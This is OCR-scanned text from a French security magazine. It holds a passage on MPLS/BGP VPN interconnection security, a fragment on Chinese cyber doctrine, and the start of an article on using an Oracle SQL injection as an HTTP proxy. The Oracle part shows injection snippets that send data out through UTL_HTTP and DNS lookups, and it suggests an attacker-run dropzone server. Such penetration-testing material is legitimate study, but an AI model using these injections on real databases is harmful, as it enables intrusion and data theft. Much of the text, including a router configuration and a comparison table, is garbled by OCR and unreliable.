l'objet : comme d’autres nations, la Chine sera
sans doute contrainte d’'imaginer une autre
approche de ce que peut étre la « maitrise »
de l'espace informationnel et du cyberespace,
et donc d’offrir des théories et doctrines
nouvelles dans les prochaines années. W
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et article décrit la sécurité des différents modéles d’interconnexion entre les
réseaux d'opérateurs afin de construire des réseaux virtuels privés (VPN).
Apres une bréve introduction et un rappel sur les protocoles LDP et MP-BGP,

quatre options d’interconnexion entre ces réseaux sont deécrites, détaillant les

avantages et inconvénients.

1 Introduction |

Lune des problématiques récurrentes des réseaux
est de faire transiter des données le plus rapidement et
le plus slirement possible. La disponibilité des services
réseau est généralement couverte par la topologie du
réseau. Quant a l'intégrité des services réseau, elle est
généralement couverte par les protocoles réseau d’une
part, et celle des équipements d’autre part.

Dans les réseaux IP, le routage des paquets s’effectue
sur les adresses IP (Internet Protocol), ce qui nécessite
de lire les en-tétes IP a chaque passage sur un nceud
réseau. A l'origine congue pour réduire ce temps de
lecture, la technologie MPLS (Multi Protocol Label
Switching) permet d’améliorer le transit global par une
commutation des paquets au niveau 2 et non plus 3,
comme le fait IP.

Plut6t que de décider du routage des paquets dans
le réseau a partir des adresses IB, 1'architecture MPLS
s’appuie sur des labels. La commutation de paquets
se réalise donc sur ces labels et le routeur ne consulte
plus les informations relatives au niveau 3 incluant les
adresses IP. En d’autres termes, l'acheminement ou la
commutation des paquets est fondé sur les labels et
non plus sur les adresses IP comme l'illustre la figurel.
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Réseal MPLS

d'un opérateur

Routage sur
des adresses IP

Routage sur | |
des adresses 1P | |

- -

Commutation sur des labels

Figure 1 : Réseau MPLS

Méme sil'amélioration hardware des équipements ne
rend plus aussi nécessaire qu'auparavant la commutation
au niveau 2 plutét qu’au niveau 3, l'architecture
MPLS présente des avantages notables par rapport au
protocole IP (pile de labels, etc.). De plus, des classes
de services peuvent étre définies afin de garantir les
délais d’acheminement.

Sur de telles architectures, il est possible de construire
de nombreux services a valeur ajoutée comme des réseaux
virtuels privés. De tels réseaux virtuels privés peuvent
étre construits soit sur un seul réseau d’opérateur, soit sur
nréseaux d'opérateurs nécessitant des interconnexions
et protocoles d’échanges de routes entre ces réseaux
d’opérateurs distincts.



Apres une bréve description technique du protocole
LDP et un rappel sur la mise en ceuvre de réseaux
virtuels privés, nous décrivons les différentes options
d'interconnexion existantes.

Rappels sur les réseaux

multiservices

2.1 Rappel sur le protocole LDP

LDP (Label Distribution Protocol) est un protocole
défini par I'IETF et utilisé par les routeurs participant
a I'architecture MPLS pour diffuser des informations
de labels qu'’ils ont créées. LDP fonctionne sur le
modeéle des protocoles de routage IP. Il utilise la table
de routage IP pour construire la table de commutation
MPLS. Les classes d’équivalence ou FEC (Forwarding
Equivalence Class) sont découvertes automatiquement
lors de l'exploration des tables de routage IP, elles
correspondent généeralement a des préfixes de routage
IP classique [RFC5036].

Le protocole LDP permet donc d’échanger des
messages entre les routeurs de cosur de réseau afin de
diffuser les informations d’'associations entre les labels
et chacune des FEC (ou préfixes de routage IP), comme
I'illustre la figure 2.

Figure 2 : Echange de messages LDP

Quelle que soit la méthode de distribution choisie
(distribution a la demande, distribution ordonnée, etc.),
les chemins MPLS unidirectionnels (ou Label Switched
Path) pour chacune des FEC s’établissent, les paquets
MPLS sont commutés le long de ces tunnels LSP.

2.2 Principe de commutation

MPLS généralise la fonctionnalité dite de routage
hiérarchique. Pour y parvenir, un paquet MPLS peut
contenir plusieurs labels ou piles de labels, comme
I'illustre la figure 3.

RESEAU

Figure 3 : Pile de labels

Le label de « téte de pile » ou label externe est utilisé
pour la commutation du paquet le long du LSP, les labels
suivants ne sont alors utilisés que lorsque ce label a été
enlevé. Un équipement du réseau MPLS peut modifier la
valeur du premier label (swap), empiler un autre label
(push), dépiler le premier label (pop) ou effectuer une
combinaison de ces actions.

Lobjectif de ce routage hiérarchique est d’offrir une
trés grande souplesse pour construire de nouveaux
services ol un deuxiéme niveau de label permettra
d’adresser ces services. Ainsi, dans un L3VPN ou VPN
MPLS/BGPE, MP-BGP se charge de la signalisation entre
PE pour les labels de services VPN. D’autres applications
sont aussi possibles, comme pour agréger du trafic au
coeur du réseau, mettre en place deux plans de routage
différents, émuler un circuit ou encore un LAN au-dessus
de MPLS, etc.

2.3 Construire un reseau prive

virtuel MPLS/BGP

Un réseau privé virtuel MPLS/BGP de niveau 3 permet
de connecter des sites distants sur un réseau partagé
par tous les clients [RFC4364]. Le trafic du réseau
privé virtuel est isolé logiquement des autres trafics
VPN. Cette isolation est réalisée par un mécanisme de
routage construit sur le protocole MP-BGP, qui est une
extension du protocole de routage BGP (Border Gateway
Protocol) [RFC2858]. Le protocole MP-BGP fonctionne
en collaboration avec un protocole de distribution de
labels LDP afin d’associer un label a une route externe.

Dans le cas des VPN MPLS/BGP, deux niveaux de
labels sont utilisés :

- le premier label correspond au préfixe dans le VPN
concerne ;

- le second label correspond au tunnel MPLS ou LSP
(Label Switched Path).

De plus, chaque VPN peut faire transiter les blocs
d’adresses IP qu’il désire sans qu'il y ait de conflit
d’adresses IP avec d’autres VPN. Chaque VPN a en
effet sa propre table de routage et la commutation du
trafic réseau est réalisée sur des labels et non sur des
adresses IP. Pour cela, un identifiant appelé RD (Route
Distinguisher) est accolé a chaque préfixe IPv4 aflin de
créer, avec le label MPLS, une route VPNv4. En revanche,
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dans le cas d'un Extranet ou d'un acceés a un fournisseur
de services, les adresses IP devront élre uniques afin de
partager les ressources communes.

Un réseau VPN MPLS/BGP est composé de routeurs
P (Provider : dédiés a la commutation), de routeurs PE
(Provider Edge : dédiés a la création des VPN MPLS/
BGP ainsi qu’a la connectivite avec les équipements
localisés chez les clients) et de routeurs CE (Customer
Edge: installés chez les clients et connectés aux routeurs
PE). Seuls les routeurs PE contiennent la définition des
VPN MPLS/BGP, les routeurs P et CE n’ayant aucune
connaissance de la configuration des MPLS BGP/VPN.
Les routeurs P commutent du trafic labellisé, tandis
que les routeurs CE routent du trafic IP. La sécurité
logique d’'un VPN MPLS/BGP repose principalement sur
la configuration logique du VPN dans les configurations
des routeurs PE. Pour mieux comprendre les enjeux de
configuration des VPN MPLS/BGP, prenons 1'exemple
de deux VPN A et B reliant deux sites différents pour
chacun des VPN, comme illustré a la figure 4.

Commutation sur des labels

Figure 4 : Réseau implementant des VPN MPLS/BGP

Nous avons vu que le RD (Route Distinguisher) permet
de garantir 1'unicité des routes VPNv4 échangées entre
les PE, mais ne définit pas la maniére dont les routes vont
étre insérées dans les VPN. Pour y parvenir, I'import et
l'export de routes sont réalisés a I’aide d'une communauté
BGP étendue (extended community) appelée Route-
Target (RT). Les routes-targets doivent étre vues comme
des filtres appliqués sur les routes VPNv4, Dans notre
exemple, les routeurs CE1 A et CE2 A appartiennent
au MPLS BGP/VPN A et les routeurs CE1 B et CE2 B
appartiennent au MPLS BGP/VPN B.

La configuration des routeurs PE permet de créer
ces VPN sur le réseau. Nous utiliserons le terme VRF
(Virtual Routing Forwarding) par la suite pour désigner
un VPN. Par exemple, la configuration du routeur PE,
connecté a CE1 A et CE1 B, est la suivante ;

# Définition du VPN MPLS BGP A :
ipovrf A

# La valeur du RD {Route Distinguisher) permet d' identiier Tes
routes échangées entre les routeurs PE pour chaque HPLS BGP/YPH
il ]

=1 QUELQUES ELEMENTS DE SECURITE SUR LES INTERCONNEXIONS DES RESEAUX PRIVES ..

# e ‘JPH A n'accepte que Tes rautes recues véhiculant 1e RT 1 et
exporte les routes apprises en insérant Te RT 1
" route-target inport 1
route-target export I
| :
# Défirition du MPLS BGP/VPN B ¢
ip vrf B i
rd 2
route-target import 2
rnut‘e«tarqe’t exnort 2
|.
# Connexion de CE1 A au PE ; Cette connexicn appartient au VFN A
interface ..
ip wrf forwarding A
]. I
# Connexion ce CE1 B au PE :
interface ..
ip vrf forwardirg B

el

Cette connexion appartient au VPN B

1 i
# Description de 1a session de routace avec le CEL A
address-family ipvd vrf A :

neghbor 19.10.10.182 activate

i ;

# Description de la session de routage avec le CEL B
address-family ipvd vrf B

neighbor 192.18.18.102 activate
|

Lisolation d'un VPN MPLS/BGP repose donc sur
les configurations des routeurs PE. Le périmétre d’un
VPN peut donc étre déterminé a partir de toutes les
configurations des routeurs PE constituant le réseau
MPLS [MPLS Sécurité].

Les |nter '_o

réseaux VPN M __L-_

Les opérateurs de télécommunications développent
de plus en plus les services réseaux VPN MPLS/BGP et
ont besoin de s’interconnecter a d’autres réseaux pour
étendre un VPN,

Linterconnexion entre deux réseaux VPN MPLS/BGP
est possible par différents types d’interconnexions ou
options. Quatre options ont été définies a ce jour et sont
deécrites dans les paragraphes suivants en détaillant les
avantages et inconvénients de sécurité. Les routeurs
passerelles entre les deux réseaux sont alors appelés
ASBR (Autonomous System Border Router), puisqu'ils
sont a la frontiére de chacun des AS (Autonomous System)
des opérateurs.

3.1 & optionA -

Comme l'illustre la figure 5, cette option permet
d'interconnecter « en point a point » un VPN MPLS/
BGP entre deux réseaux. Il est communément appelé
le modeéle « back-to-back VRF ».



- session de routage BGP dédidée
- trafic réseau IP natif
- trafic réseau confliné dans un circuit dédié

Les avantages de cetfte option sont les
suivants :

- La configuration d'un VPN est simplifiée
puisqu’on ne définit plus les connexions
pointa point, niméme le VPN explicitement.
Seuls des filtrages, configurés de maniére
symétrique, des routes-targets entre les
deux réseaux realisent le controle des
interconnexions des VPN.

- Larchitecture réseau est simplifiée et
extensible méme sile nombre de VPN a
interconnecter devient important. Seulesles
capacités de commutation des équipements

Figure 5 : Interconnexion - Option A

Les avantages de cette option sont les suivants :

- Le confinement des VPN dans des tunnels dédiés en
point a point. Lisolation entre les VPN interconnectés
est ainsi renforcée,

- La granularite d'analyse en cas de probleme réseau
est fine par l'isolation de configuration des VPN.

- 11 est possible de filtrer le trafic IP natif par VPN.
On peut alors effectivement filtrer le trafic du VPN
sur les adresses [P et/ou sur les ports TCP/UDP par
les mécanismes classiques de filtrage des paquets
IP (par exemple : Access Control List).

- Il est possible de filtrer le routage par VPN. On peut
effectivement contréler les adresses IP routées sur
le VPN par les mécanismes classiques de filtrage
de roule (par exemple : Prefix-list). Notons qu'il est
aussi possible de mettre en ceuvre des mécanismes
de contrble de I'instabilité des mises a jour des routes
(par exemple : Dampening).

Les inconvénients de cette option sont les suivants :

- Les configurations des VPN deviennent consommatrices
en lermes de ressources si le nombre de VPN
augmente considérablement. En effet, une session
BGP par sous-interface (par VPN) est nécessaire, par
exemple. Notons alors que le nombre des équipements
d'interconnexion devra aussi augmenter entre les
deux réseaux VPN MPLS/BGP.

- Larchitecture d’interconnexion devient complexe
si le nombre des équipements d’interconnexion
entre les deux réseaux VPN MPLS/BGP augmente
considérablement. Rappelons que cette architecture
doit assurer la disponibilité réseau de l'interconnexion
VPN MPLS/BGP.

3.2 toption B

Comme l'illustre la figure 6, cette option permet
d’interconnecter de maniére globale deux réseaux VPN
MPLS/BGP.

d’interconnexion seront impactées.

- session de routage MP-eBGP VPNv4 + labels
- trafic réseau MPLS
- trafic réseau de tous les VPN

'

Figure 6 : Interconnexion - Option B

Les inconvénients de cette option sont les suivants :

- La granularité d’analyse en cas de probléme réseau
n’est plus fine et nécessite en revanche d’analyser
les sessions de routage MP-eBGP.

-1l n'y a pas de possibilité de filtrer le trafic IP par
VPN (dans la limite des technologies existantes).

-1l n'y a pas de possibilité de filtrer le routage des
adresses IP par VPN (dans la limite des technologies
existantes). Cependant, un filtrage est possible au
niveau des routes-targets échangées entre les deux
réseaux, permettant de définir les interconnexions
des VPN.

Un opérateur doit étre vigilant sur 1’établissement de
la session MP-eBGP de maniére a n’autoriser qu'un pair
de confiance afin de ne pas fragiliser la structure MPLS.

L'option C

Comme l'illustrent les figures 7 et 8 (page suivante),
cette option permet d’interconnecter de maniere globale
deux réseaux MPLS BGP/VPN. Elle se distingue de 1'option
B dans le sens ou les échanges de routes VPNv4 sont
effectués entre les PE et non plus par les ASBR.

La session protocolaire MP-eBGP entre les ASBR
assure l'échange des labels pourl’établissement de LSP
de bout en bout : les routes échangées ne sont pas des
routes de type « VPNv4 » (préfixe + RD + label), mais
des routes IPv4 labellisées.
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- s@ssion de routage : PE + labals
- irafic réseau MPLS
- frafic réseau de tous les VPN

- session de routage Mullihop MP-eBGP
VPNv4 Routes + labels

Figure 7 : Interconnexion - Option C avec session
Multihop MP-eBGPF entre les PE

La session protocolaire MP-eBGP entre PE assure quant
a elle les échanges des préfixes VPN MPLS au sein de
chaque VPN. Chaque PE portant un site intégré & un VPN
inter-AS doit monter une session MP-eBGP avec tous les
PE de 'autre AS pour réaliser une visibilité compléte.
C’est pourquoi l'architecture est souvent simplifiée avec
I'introduction de réflecteurs de routeurs (RR), comme
l'illustre la figure 8.

- session de routage : PE + labels

- session de routage Multihop MP-eBGP
VPNv4 Routes + labels

Figure 8 : Interconnexion - Option C avec session

Multihop MP-eBGP entre les réflecteurs de routes
Les avantages de cette option sont les suivants :
- les avantages de l'option B ;

- les échanges des routes VPNv4 se font directement
entre les PE des deux réseaux.

Les inconvénients de cette option sont les
suivants :

QUELQUES ELEMENTS DE SECURITE SUR LES INTERCONNEXIONS DES RESEAUX PRIVES ...

- Lelabel interne correspond au label de service VPN alloué
par le PE de sortie lui-méme (échangé par MP-eBGP).

- Le second label correspond au PE de sortie.
- Le label externe correspond a I’ASBR.

Ainsi, au sein d'un AS, les routeurs P n’ont besoin
de maintenir que les LSP vers I’ASBR et n’ont pas
besoin de monter des LSP vers tous les PE de sortie
de 'opérateur tiers. Si cette option d’encapsulation est
retenue, il est alors important de vérifier la MTU pour
le bon fonctionnement de l'architecture.

De plus, I'option C est souvent utilisée entre deux
réseaux (deux AS) gérés par le méme opérateur ou deux
opérateurs qui ont un degré de confiance plus forl que
dans le cas de l'option A.

Cette option est souvent appelée « A+B » et repose sur
une unique session MP-eBGP (assurant la signalisation)
entre les deux opérateurs, ou plus exactement entre
les ASBR ou « pairs AB », comme l'illustre la figure
9. Le trafic inter-opérateur circule en IP natif le plus
souvent ; il peut circuler encapsulé dans du MPLS dans
le cas de VPN « CSC » (Carrier Supporting Carrier,
un modele VPN hiérarchique dans lequel un opérateur
client interconnecte sa propre architecture [P/MPLS par
I'intermédiaire d'un réseau MPLS d’un opérateur tiers).

Les avantages de cette option sont les suivants :

- Un compromis entre les avantages de 1’option A et
de l'option B : elle résout les problemes de passage
a l'échelle lorsque les VPN inter-AS se multiplient,
tout en assurant une meilleure isolation ainsi que
des possibilités de fonctions de QoS.

Les trafics sont confinés dans des VRF (option A)
permettant de mettre en ceuvre une granularité plus
fine sur chaque connectivité. Deux approches VRF
sont possibles :
- Lapproche par « VRF attachment circuit » (private
interface forwarding) - 1a VRF est attachée & une
sous-interface spécifique entre les deux domaines

- les désavantages de 'option B ;

- elle offre une visihilité et une atteignabilité
totales de PE de chaque opérateur. Charge
a chaque opérateur de limiter la visibilité
sur son réseau par des filtrages d’annonces.

A noter que diverses variantes de 'option C
existent. Dans certains cas, pour limiterla visibilité
entre les équipements des deux opérateurs, il
est possible de ne pas établir de tunnel LSP
de bout en bout, mais d'utiliser ’ASBR pour
segmenter le tunnel. Trois niveaux de labels

- s@ssion de routags MP-eBGP VPNv4 et labels
- trafic réseau MPLS
- trafic réseau de tous les VPN

sont alors utilisés :
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Figure 9 : Interconnexion — Option D (ou AB)




BGP (une session par | MP-eBGP (routes

MP-eBGP (routes IPV4

RESEAU

AT |
MP-eBGP (routes VPNv4)

dans le temps de par
la session MP-eBGP

le temps

VPN interconnecté) | VPNv4) labellisées)

Aucun Aucun MP-eBGP (routes VPNv4) | Aucun

Simple Moyenne Forte Moyenne

Oui Oui Oui Oui
| Aucune Seulement ASBR | Tous les PE, réflecteurs | Seulement ASBR

; : de routes, etc.

Délicate a gérer dans | Plus facile & gérer | Facile a gérer Plus facile a gérer dans

le temps de par la session
MP-eBGP et la productlon
de VRF

Tous les opérateurs
implémentant le VPN

Tous les opérateurs
implémentantle VPN

Tous les opérateurs
implementant le VPN

Tous les opérateurs
implémentant le VPN

Aucun Aucun

Tous les opérateurs

Aucun

| _ interconnectés

AuniveauIP etparliste | Au niveau des RT | Aucun Au niveau des RT (Routes

de filtrage de routage | (Routes Targets) - Targets) - perte de la
perte dela granularité granularité de filtrage [P
de filtrage IP

AuniveauIP etparliste | Aucun au niveau 1P, | AucunauniveauIP pasde | Dépend du sous-mode

defiltrage ACL.(Access | pasdefiltragedutrafic | filtrage dutrafic MPLS (sauf | d'interconnexion (équivalent

Lisl Control MPLS (saufévolution | évolution technologique) | a I'option A ou B)
‘technologique)

Tableau 1 : Comparatif sécurité des différentes options d'interconnexion

ASBR et le trafic de données est transporté par
label ou en mode natif IP. Linterface partagée
(shared interface) est utilisée pour transporter
le plan de contréle.

filtres sur les annonces de labels al’entree de son réseau
pour garantir l'intégrité de son architecture MPLS.

Les extensions de VPN MPLS/BGP sur plusieurs

- Lapproche par « Non VRF attachment circuit »
(shared interface forwarding) : la VRF n’est
pas attachée a une interface, ainsi les trafics de
routage et de données transitent par la méme
interface partagée (shared intertace) par label.

- Une unique session MP-eBGP afin d’échanger les
prefixes VPNv4 (option B) au lieu d’avoir une session
eBGP par VRF (option A) : les opérations sont
simplifiées, les ressources mémoire et processeurs
des équipements sont moins sollicitées.

Les inconvénients de cette option sont les suivants :

- Un compromis entre les faiblesses de l'option A et
de l'option B.

Conclusion

Les architectures d'interconnexion de VPN MPLS/
BGP sont possibles et a géométrie variable. Un point
essentiel est que dans aucun cas une continuité IGP
(protocole de routage interne) ou LDP n’est assurée entre
les opérateurs. Effectivement, en établissant une session
MP-eBGP entre les ASBR, chacun garde le controle sur
la sécurité de son routage interne et met en place des

réseaux d'opérateurs nécessitent la mise en ceuvre
d’une interconnexion spécifique nécessitant un choix
d’architecture. Plusieurs options existent, comme le
résume le tableau 1.

Enfin, le déploiement d’architectures VPN MPLS/BGP
par les opérateurs de télécommunications s'accélére et
intégre de nouvelles technologies au cceur du réseau MPLS,
telles que le traffic engineering, 'intégration des classes
de services en périphérie et au cceur du réseau, etc. H
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‘acces aux données d'un back-end SQL est souvent considéré comme le point
final d’'un pentest sur une application web, mais avec des back-end SQL de
plus en plus riches en termes de fonctionnalités et I'essor des web services,
les bases de données ne sont plus cantonnées au fond du SI dans une DMZ isolée,
mais sont devenues de véritables nceuds d’interconnexion entre SI. Il ne faut donc
plus considérer l'acces au SGBD comme une fin en soi, mais comme un point d'appui
pour pénétrer en profondeur dans les SI.

Nous verrons comment un attaquant partant d’une simple injection SQL peut
rapidement transformer une base de données Oracle en un proxy http, ainsi que
les outils qui sont a sa disposition pour faciliter cette tache. Nous terminerons par

quelques recommandations pour pallier de tels risques.

1 Introduction

Jusqu'ol peut-on aller a partir d'une injection SQL
dans un select s’exécutant dans un SGBD Oracle avec
les privileges par défaut ?

Bien souvent, un pentest sous Oracle consiste en une
escalade de privileges, et a récupérer le hash du mot de
passe du DBA en guise de trophée, on va rarement plus
loin parce que le périmétre établi ne le permet pas, ou
tout simplement parce qu'un dump des données de la
base est une preuve suffisante. Mais pour un attaquant,
c'est plutét une vision a court terme.

Les solutions offertes aux clients pour enrichir les
interconnexions entre leurs SGBD historiques et les
autres systémes par le biais de web services et autres
technologies XML ont changé la donne. Lagrégation
de données en provenance de plusieurs systémes jadis
indépendants pousse 1'évolution du réle des SGBD dans ce
sens. Il suffit de regarder1’'ensemble des fonctionnalités
offertes par les grands noms de la base de données pour
s’en rendre compte.

Red Database Security a démontré en 2005 et 2006
gu’il était possible de mettre en place un rootkit au sein
d'une base Oracle. Mais la majorité des outils semblent
se limiter a l'extraction des données de la base, cette
derniére étant considérée comme la derniére étape d’'une
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attaque réussie contre une application web. Cela induit
une vision restreinte de l'impact d’une injection SQL,
puisqu’elle se limite aux données de la base.

Se frayer un chemin au travers de la base de données
pour atteindre 1'OS peut s'avérer fastidieux et nécessite
bien souvent I’exploitation de vulnérabilités spécifiques.
Or les bases de données les moins protégées et mises a
jour sont souvent des bases contenant des informations
peu ou pas sensibles.

Considérons qu'un attaquant lambda se contente
d’exploiter des vulnérabilités connues ou facilement
identifiables pour en tirer profit rapidement, attaques qu’il
pourra reproduire sur un grand nombre de cibles. Nous
tacherons de conserver cette idée en téte et mettrons de
coteé les techniques d’exploitation longues et complexes.
En se basant sur des techniques déja connues des
pentesters, nous verrons comment relayer des requétes
HTTP standards au travers d'une base Oracle.

La preuve de concept combinera les briques suivantes :
- une injection SQL ;

- un canal de retour alternatif ;

- le package utl_http.

pour transformer une base de données Oracle en un
proxy web, et ce a partir d'une simple injection SQL
dans une requéte SELECT.



2 L'ecosysteme Oracle

Comme de nombreux éditeurs, Oracle fournit d’anciennes
versions de son SGBD phare, et ce gratuitement, pour
permettre aux développeurs et futurs clients d’essayer
leurs produits. Ces versions sont souvent vulnérables a un
certain nombre de vulnérabilités connues et ne devraient
pas (en théorie) élre ulilisées dans des environnements de
production. En pratique, ces bases sont souvent utilisées
dans des environnements de tests parfois connectés a
I'Internet pour des besoins de démonstrations.

NOTE

Oracle posséde 49% de parts de marché dans
le monde des bases de données, et leur version
Linux arrive en téte et représente 75,8% des
installations de SGBD en entreprise (sou
Oracle). Hormis ses

Oracle propose ll‘leplllb le récent rachat de buu)
une gamme de produits complete, du systéme
d’exploitation a I'applicatif final, en passant par
les serveurs d’application weblogic, ainsi que des
progiciels de gestion, solutions de sauvegardes,
etc. Tout ce foisonnement d’applications s’articule
parfaitement autour de leur serveur de bhase
de données et presente un terreau fertile en
configurations par défaut.

Lorsqu'il s’agit d'un environnement de production et
que le client a souscrit au support Oracle, les patchs CPU
ne sont pas toujours appliqués (1'Oracle Independant
User Group a mené une étude [I5] intéressante a ce
sujet). Souvent, les DBA ont beaucoup a faire avec les
problématiques de dimensionnement et de performance,
et ils n’ont pas toujours le temps d’'étudier les impacts
d’'une mise a jour sur le systéme.

3 Les outils disponibles

Parmi l'ensemble des oulils de securilé disponibles
publiquement, seuls quelques-uns proposent des méthodes
de tunneling. Voici ceux qui s’approchent le plus de
notre méthode :

- Squeeza [3] : Un outil d'attaque destiné aux injections
sous SQL Server, développé par SensePost. Il propose
d'utiliser DNS comme canal de retour pour récupérer
les résultats des requétes, ou d’injecter du code . NET
dans le serveur, pour ainsi transformer le SGBD en
plate-forme d’attaque.

- ReDuh [4] : Un outil de tunneling HTTP, qui peut
étre utilisé par un attaquant pour exploiter une faille
d’upload arbitraire, transformant le serveur web en
proxy. Il a été utilisé dans I'exploitation de serveurs
Tomcat et JBoss (souvent conjointement avec des
scripts JSP dans la méme veine que le JSP file browser)

- Bsqglbf [5] est développé par Sumit Siddarth et
permet d’exécuter des commandes sur le systéme
d’exploitation hébergeant la base de données en
utilisant la JVM incluse dans Oracle. Sumit Siddarth
a présenté une attaque d’'un serveur SQL Serveur
via une base Oracle a8 OWASP Australie [12].

- Metasploit : le framework a été récemment enrichi
de plugins d’attaque visant les bases Oracle [14] et
il est possible de router du trafic au travers d'une
session Metasploit active. Cependant, la majorité de
ces attaques passent directement par le TNS Listener.

La base de donnees

Oracle

Voici quelques éléments techniques qui vous aideront a
comprendre le fonctionnement technique d’'une base Oracle.
Ceux qui sont familiers avec cet environnement sont invités
a sauter directement a la section des canaux de retour :)

Un serveur de base de données Oracle peut héberger
plusieurs bases nommeées instances, que le systeme
distingue grace au SID (System ID). Pour chaque base,
il y a un DBA et un ensemble d’utilisateurs uniques avec
des privileges distincts. Au sein d'une base de données,
le DBA a tout pouvoir sur la configuration de !'instance,
il est assimilable a root sur un systeme Unix.

La gestion des droits des utilisateurs se fait via les
commandes GRANT et REVOKE, exemple

grant DBA to pib]
permet d'offrir les pmqleges DBA a tout le monde.

Lenvironnement d'une base Oracle offre 3 langages
pour interagir avec les données et la base. Le langage SQL
est le premier outil d’interrogation d'une base Oracle, il
permet non seulement d’interagir avec les données, mais
aussi avec les parametres de configuration de l'instance.
Le PL/SQL est un langage procédural qui permet de
développer des scripts servant a maintenir la cohérence
des données ou a implémenter des processus métiers. Le
Java a fait son entrée pour permettre aux développeurs
du monde J2EE d’écrire leurs propres procedures PL/
SQL sans avoir a apprendre un nouveau langage.

Une base de données Oracle est livrée avec un ensemble
de packages contenant des procédures et fonctions PL/
SQL pouvant étre appelées soit depuis le SQL, soit dans
du code PL/SQL ou Java pour effectuer des taches plus ou
moins complexes d’administration, d’accés aux données
ou de transformation de l'information.

Les connexions a la base de données se font la plupart
du temps via le TNS Listener. C’est un service tournant
par défaut sur le port 1521 et qui permet aux clients
Oracle de se connecter a la base. Pour accéder au service
du TNS Listener, il faut étre en possession du SID et du
login/pass d'un utilisateur de la base.
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SYSTEME

AUTOUR DE LARTICLE...

= VER ORACLE

Le premier ver Oracle s'appelait Voyae

etait un POC qui se propageait en utilis:
les login/pass par deéfautl pour se connecter
sur le listener TNS, et qui utilisait le
package utl_tcp pour scanner l'Internet
a la recherche d’autres bases.

Une variante de ce ver a été publiée sur
full disclosure, elle envoyait par e-mail
les hash des mots de passe a larry racle.
com, Larry étant le prénom du cofondateur
d’'Oracle.

Un second concept de ver Oracle a ete
présenté en aoat 2009, a la DefCon, et
repose sur une injection SQL dans Oracle
Application Server, qui vient modifier la
page d’acc du site pour exécuter un
exploil sur le navigateur des visiteurs.
Cependant, il ne s’agissait pas d'un code
reellement répliguanl, mais de brigues
de base qui pourraient étre utilisées pour
créer un ver Oracle.

1l faut croire que méme les fabricants de

malwares trouvent les plates-formes Oracle
trop complexes...

= W3AF, SQL INJECTION
ET ORACLE

W3AF est un scanner de vulnérabilité
web disposant de deux plugins dédiés a la
détection d'injections SQL.

Le plugin chargé de tester les injections
SOL en aveugle ne contient pas de tesls
pour les bases Oracle. 11 vous est possible
de le compléter en modifiant la fonction
_get_statements() dans core/controllers/
sql_tools/blind sqli time delay.pypoury
ajouter une injection capable d’introduire
un délai dans le temps de réponse sous
Oracle.

C’est le cas notamment de DBMS_LOCK.
sleep(), une procedure PL/SOL permellant
de mettre en pause le traitement. Cependant,
pour faire appel a DBMS_LOCK.sleep(), il
vous faudra injecter une fonction PL/SQI.
vulnérable, sinon vous ne pourrez pas
parametrer le délai introduit. Il faudra
alors vous rabattre sur des délais issus
d’erreur, tels qu’un appel a UTL_INADDR.
get_host_name(’192.168.1.1') en espérant
que la résolution DNS inverse soit lente.
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Les canaux de retours

alternatifs

Voici une présentation succincte des quelques canaux de fuite
utilisables pour exploiter une injection SQL en environnement
Oracle, certains sont plus contraignants que d’autres a
utiliser et répondent plus facilement a notre objectif. Nous
considererons que le lecteur est familier avec les injections SQL.

Lunion est souvent utilisée pour retourner des résultats de
requéte via l'affichage de retour prévu par les développeurs.
Le probléeme, c’est qu'il faut adapter la requéte d'union au
type et au nombre de résultats retournés. Par exemple, dans le
cadre d'une injection par union, dans une requéte retournant
4 parameétres, I'injection ressemble a ceci :

on It HTTP request(’ http:/ /. google.con/') from dual))--

La base de données effectuera une connexion vers Google et
insérera les 2000 premiers caracteres de la réponse dans'affichage.

5.2 Messages d’erreurs

Les messages d’erreurs [7] peuvent étre détournés pour
obtenir le résultat d'une requéte en utilisant le résultat de la
requéte comme parametre invalide d’'une fonction, déclenchant
une erreur qui sera remontée a 'application et affichée sur
la page web, mais la plupart du temps, de tels résultats sont
limités a 500 caractéres. Une telle méthode s’avére peu
discrete, puisque reposant sur les retours d’erreurs, parfois ce
type d’'injection n'est pas envisageable lorsque les messages
d’erreurs sont correctement filtrés.

g

5.3 Injection en aveugle

Le plus petit de tous les canaux de fuite : l'injection en
aveugle utilise les timing des réponses pour déterminer si une
requéte s’est exécutée ou non. Il est ainsi possible d’extraire
trés lentement les données de la base. Non seulement ce
canal est lent, mais en plus, il est tout sauf discret, vu que
chaque bit nécessite une injection et donc une requéte HTTE
N'importe quel outil de statistique sur le serveur web permet
de détecter une telle attaque.

5.4 DNS

Le DNS constitue un bon canal de retour, car il est fort
probable que la résolution DNS soit active sur le serveur de
base de données, ce qui en fait un bon canal de fuite pour

1=ut]_fnaddr.get host address((select truc from table))--



extraire des informations et les transmettre a I’attaquant.
Ce canal est limité par la taille d'une requéte DNS (la
littérature disponible sur Internet au sujet du tunneling
DNS est plut6t abondante). Des requétes DNS peuvent étre
effectuées depuis une requéte SQL, dont voici un exemple :

o et e it i)

5.5 HFEP

Il est possible d’effectuer des requétes HTTP depuis
une base Oracle en utilisant le package UTL_HTTP, ce
qui présente de nombreux avantages :

- HTTP est souvent autorisé en sortie sur les serveurs,
ne serait-ce que pour récupérer les mises a jour ;

- la taille d'une requéte GET est limitée a un varchar
(soit 32767 caractéres) ;

- pour un attaquant, il est plus simple de monter une
page web que de sniffer les requétes DNS transmises
a un serveur.

I1 y a cependant quelques écueils a éviter lorsqu’on
utilise UTL_HTTP sil’on souhaite rester discret. Lorsqu‘un
appelautl_http.request() esteffectué vers une URL,
toute réponse HTTP autre que 200 est considérée comme
une erreur. Pour éviter un tel désagrément, un serveur
HTTP peut étre rapidement développé dans le langage
de votre choix, répondant cordialement HTTP/1.1 200 0K
quelle que soit la requéte.

Un script PHP uploadé sur un serveur d’hébergement
gratuit récoltant les requétes GET qui lui sont transmises
est une solution simple pour un attaquant, un peu a la
maniére d'une dropzone.

De l'injection SQL au

6 proxy : tutoriel en
5 etapes

Nous allons maintenant vous présenter les étapes
techniques nécessaires pour transformer une base
Oracle en proxy.

6.1 Etape 1 : trouver une

injection SQL

C’est 'étape la plus simple, mais sans laquelle on
aurait du mal a atteindre la base Oracle. De nombreux
outils sont disponibles pour faciliter la recherche de
points d’injections, sous la forme de proxys d’analyse, de
scanners semi-automaticques ou d’extensions Firefox. Voici
quelques références qui aideront le lecteur a exploiter
une injection SQL Oracle depuis une application web :

- http:/lpentestmonkey.net/blog/oracle-sql-injection-cheat-sheet/

- http:llwww.red-database-security.com/whitepaperforacle_sql_
injection_web.htm|

